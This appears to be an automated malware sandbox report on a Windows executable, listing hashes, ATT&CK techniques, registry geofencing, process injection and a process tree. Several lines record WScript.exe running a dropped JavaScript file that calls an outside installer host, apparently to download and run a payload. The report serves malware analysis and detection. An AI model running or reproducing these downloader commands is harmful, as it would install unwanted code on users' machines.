8e9046498cbe2b8fbe9959d9a19963cff531e4e27dfd0a3e0659a306d66b99db

General

Target

836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe
Size

184KB
MD5

836d6d4602dbdaa635593ac97ee5c597
SHA1

ce9e9d15178807eaee7ee81f002a8d7b0d76994b
SHA256

8e9046498cbe2b8fbe9959d9a19963cff531e4e27dfd0a3e0659a306d66b99db
SHA512

c79626c51b3eaf6da297100fe7c6aa04f09ba28957681c2ab2b16c670e0c02a9f315ba4ecd2124040c4b159bc1a7c200f5bf7346be6626e2e036d74575e92563
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3S:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	4808	WScript.exe
26	5068	WScript.exe
28	4160	WScript.exe
29	4160	WScript.exe
41	4168	WScript.exe
44	1168	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4248	928	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 928 wrote to memory of 4808	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	82
PID 928 wrote to memory of 4808	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	82
PID 928 wrote to memory of 4808	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	82
PID 928 wrote to memory of 5068	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	90
PID 928 wrote to memory of 5068	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	90
PID 928 wrote to memory of 5068	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	90
PID 928 wrote to memory of 4160	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	91
PID 928 wrote to memory of 4160	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	91
PID 928 wrote to memory of 4160	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	91
PID 928 wrote to memory of 4168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	93
PID 928 wrote to memory of 4168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	93
PID 928 wrote to memory of 4168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	93
PID 928 wrote to memory of 1168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	94
PID 928 wrote to memory of 1168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	94
PID 928 wrote to memory of 1168	928	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:928
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4805.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf4805.exe
  2⤵
  - Blocklisted process makes network request
  PID:4808
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4805.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf4805.exe
  2⤵
  - Blocklisted process makes network request
  PID:5068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4805.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf4805.exe
  2⤵
  - Blocklisted process makes network request
  PID:4160
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4805.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf4805.exe
  2⤵
  - Blocklisted process makes network request
  PID:4168
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4805.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf4805.exe
  2⤵
  - Blocklisted process makes network request
  PID:1168
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 928 -s 1456
  2⤵
  - Program crash
  PID:4248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 928 -ip 928
1⤵
PID:2604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4805.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing